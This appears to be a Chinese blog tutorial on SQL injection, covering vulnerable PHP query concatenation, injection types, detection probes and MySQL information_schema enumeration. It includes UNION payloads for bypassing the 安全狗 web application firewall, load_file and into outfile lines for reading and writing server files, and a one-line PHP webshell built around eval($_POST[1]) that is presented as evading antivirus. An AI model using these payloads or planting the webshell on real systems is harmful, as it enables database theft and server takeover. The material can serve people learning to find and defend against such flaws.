1.什么是SQL注入攻击

  SQL注入攻击指的是通过构造特殊的输入作为参数插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令

http://www.xxx.com/list.php?id=1
http://www.xxx.com/list.php?id=1 and user()>0 --
  • [ ] 哪里存在sql注入

    GET,POST,HTTP头部注入,Cookie注入,任何客户端可控,传递到服务器的变量
  • [ ]漏洞原理
  1. 程序编写者在处理程序和数据库交互时,使用字符串拼接的方式构造SQL语句
    $sql = "select * from article where id = ".$_GET[1];//使用字符串拼接
  2. 未对用户可控参数进行足够的过滤便将参数内容拼接到SQL语句中。
    $sql = "select * from article where id = $_GET[1]";//传递参数未过滤

2.SQL注入的危害

  • 攻击者利用SQL注入漏洞,可以获取数据库中的多种信息(例如:管理员后台密码),从而脱取数据库中的内容(脱库)。
  • 在特别情况下还可以修改数据库内容或者插入内容到数据库,(多语句联合查询注入)
  • 如果数据库权限分配存在问题,或者数据库本身存在缺陷,那么攻击者可以通过SQL注入漏洞直接获取webshell或者服务器系统权限。(root权限或者sa权限等等)

3.SQL注入的分类

  • 根据数据类型

    $id = $_GET['id'];

    • 整型注入 $sql="select * from article where id = $id"
    • 字符型注入 \(sql="select * from article where id = '\)id'"
  • 根据注入语法
  • UNION query SQL injection(可联合的查询注入)
  • Stacked queries SQL injection(可多语句查询注入)
  • Error-based SQLinjection(报错型注入)
  • Boolean-based blind SQL injection(布尔型注入)
  • Time-based blind SQL injection(基于时间延迟注入)

4.SQL注入的挖掘(编写注入环境代码验证)

  • and 1=1 / and 1=2 根据回显页面不同(整形判断)

  • 单引号判断(')显示数据库错误信息或者页面回显不同(整形,字符串类型判断)

  • (转义符)(适合于字符型注入)

  • -1/+1回显下一个或者上一个页面(整形判断)

  • and sleep(5)(判断页面返回时间)

  • [ ] mysql中四种注释风格


  • /.../

  • /!.../ 内联注释/*!50000select */(mysql版本大于50000执行)

  • [ ] mysql中一些函数

  • system_user()系统用户名

  • user()用户名

  • current_user()当前用户名

  • session_user()连接数据库的用户名

  • database() 数据库名

  • version()MySql数据库版本

  • load_file()MySql读取本地文件的函数

  • @@datadir 读取数据库路径

  • @@basedir MySql安装路径

  • @@version_compile_os 操作系统Windows Server 2003

  • [ ] mysql漏洞利用函数:into outfile()

  • into_outfile()写文件操作

    前提:

    • 文件名必须全路径(绝对路径),
    • 用户必须有写文件的权限
    • 没有对’单引号过滤
  • SELLECT''into outfile'D://phpStudy//WWW//hack.php'

  • [ ] mysql链接 字符串函数

  • concat(str1,str2)

  • concat_ws(separator,str1,str2...)

  • group_concat(str1,str2....)

    • MySql的concat函数可以连接一个或者多个字符串

      • concat(username,0x23,password,0x23...)
      • concat_ws()函数,表示concat with separator,即有分隔符的字符串连接
      • group_concat()函数,把每一行数据分到一个组里显示出来
  • [ ] mysql联合查询注入必备知识点

  • information_schema(mysql5.0)信息数据库。其中保存着关于MySql服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等

  • SCHEMATA表:(所有的数据库名在这个表)提供了当前mysql事例中所有的数据库信息。是show databases的结果取之此表。

  • TABLES表:(所有的数据库的表名在这个表)提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建表的时间等信息。是show tables from schemaname的结果取之此表。

  • COLUMNS表:(所有数据库的表名中的所有列在这个表)提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之此表。

  • [ ] mysql联合查询规则

  • UNION必须由两条或者两条以上的SELECT语句组成,语句之间用关键字UNION分隔

  • UNION中的每个查询必须包含相同的列

  • UNION会从查询结果集中自动去除了重复行

  • [ ]过狗语句

  • ?id=-1 /!50001union//!50001select/1,table_name,3,4,5 /!50001from/ information_schema.tables where table_schema='newbaji'

  • load_file()读取可以单个斜线

    ?id=-1 /!50001union//!50001select/

    1,load_file('d:/pass.txt'),3,4,5

  • into outfile 'd://aaa.txt'(写入必须双//)

    ?id=-1 /!50001union//!50001select/1,'',3,4,5 into outfile 'd:\2.txt';

一句话免杀木马

<?php function dog(){return $_POST[1];}eval(dog());?>

SQL注入原理及绕过安全狗的更多相关文章

  1. Web安全之SQL注入(原理,绕过,防御)

    首先了解下Mysql表结构 mysql内置的information_schema数据库中有三个表非常重要1 schemata:表里包含所有数据库的名字2 tables:表里包含所有数据库的所有的表,默 ...

  2. Java程序员从笨鸟到菜鸟之(一百)sql注入攻击详解(一)sql注入原理详解

    前段时间,在很多博客和微博中暴漏出了12306铁道部网站的一些漏洞,作为这么大的一个项目,要说有漏洞也不是没可能,但其漏洞确是一些菜鸟级程序员才会犯的错误.其实sql注入漏洞就是一个.作为一个菜鸟小程 ...

  3. sql注入原理详解(一)

    我们围绕以下几个方面来看这个问题: 1.什么是sql注入? 2.为什么要sql注入? 3.怎样sql注入? 1.什么是sql注入? 所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或 ...

  4. SQL注入9种绕过WAF方法

    SQL注入9种绕过WAF方法 0x01前言 WAF区别于常规 防火墙 是因为WAF能够过滤特定Web应用程序的内容,而常规防火墙则充当服务器之间的防御门.通过检查HTTP的流量,它可以防御Web应用安 ...

  5. 1.sql注入原理

    一.什么是sql注入呢?         所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的很多影视网站泄露V ...

  6. SQL注入原理与解决方法代码示例

    一.什么是sql注入? 1.什么是sql注入呢? 所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的很多影视网 ...

  7. 讲sql注入原理的 这篇不错(有空可以看看)

    我们围绕以下几个方面来看这个问题: 1.什么是sql注入? 2.为什么要sql注入? 3.怎样sql注入? 1.什么是sql注入? 所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或 ...

  8. 回头探索JDBC及PreparedStatement防SQL注入原理

    概述 JDBC在我们学习J2EE的时候已经接触到了,但是仅是照搬步骤书写,其中的PreparedStatement防sql注入原理也是一知半解,然后就想回头查资料及敲测试代码探索一下.再有就是我们在项 ...

  9. 网络对抗课题4.3.1 SQL注入原理与实践

    网络对抗课题4.3.1 SQL注入原理与实践 原理 SQL注入漏洞是指在Web应用对后台数据库查询语句处理存在的安全漏洞.也就是,在输入字符串中嵌入SQL指令,在设计程序中忽略对可能构成攻击的特殊字符 ...

随机推荐

  1. spring-oauth-server实践:使用授权方式四:client_credentials 模式下access_token做业务!!!

    spring-oauth-server入门(1-10)使用授权方式四:client_credentials 模式下access_token做业务!!! 准备工作 授权方式四::客户端方式: 服务网关地 ...

  2. Python之内置函数

    内置函数 python里的内置函数.截止到python版本3.6.2,现在python一共为我们提供了68个内置函数.它们就是python提供给你直接可以拿来使用的所有函数. 分类学习内置函数: 总共 ...

  3. linux系统命令学习系列-定时任务crontab命令

    上节内容复习: at命令的使用 作业:创建一个任务10分钟后关机 at now+10 minutes at>shutdown at><EOT> 本节我们继续来说例行任务管理命令 ...

  4. Windows10+Docker搭建分布式Redis集群(一)

    摘要,Docker for Windows 仅支持专业版 目录 第一步:检查系统支持虚拟化 第二步:下载Docker对应版本 第三步:配置镜像加速 第一步:检查系统是否支持虚拟化 Docker前提是需 ...

  5. [洛谷P2234][HNOI2002] 营业额统计 - Treap

    Description Tiger最近被公司升任为营业部经理,他上任后接受公司交给的第一项任务便是统计并分析公司成立以来的营业情况. Tiger拿出了公司的账本,账本上记录了公司成立以来每天的营业额. ...

  6. python 迭代器 生成器

    迭代器 生成器 一 什么是迭代器协议 1.迭代器协议是指:对象必须提供一个next方法,执行该方法要么返回迭代中的下一项,要么就引起一个StopIteration异常,以终止迭代 (只能往后走不能往前 ...

  7. Maven 私服的简单使用

    所有的 Java 开发者应该是没有没用过 Maven 的吧.Maven 作为 Java 项目管理工具,它不仅可以用作包管理,还有许多的插件,可以支持整个项目的开发.打包.测试.部署等一系列行为.而包管 ...

  8. iOS10 越狱, openSSH

    iOS 10 已经可以越狱, 不过比较蛋疼的是非完美越狱,每次重启都要从新越狱. 感兴趣的同学可以尝试一下,本人使用同步推上的教程,亲测可用. 越狱完后想安装OpenSSH, 在Cydia上搜索安装, ...

  9. angularJS的插件使用

    $uibModal&&$uibModalInstance $uibModal和$uibModalInstance是一款angularJS的弹窗控件,github地址 http://an ...

  10. X5 Blink下文字自动变大

    在X5 Blink中,页面排版时会主动对字体进行放大,会检测页面中的主字体,当某一块的字体在我们的判定规则中,认为字体的字号较小,并且是页面中的主要字体,就会采用主动放大的操作.这显然不是我们想要的. ...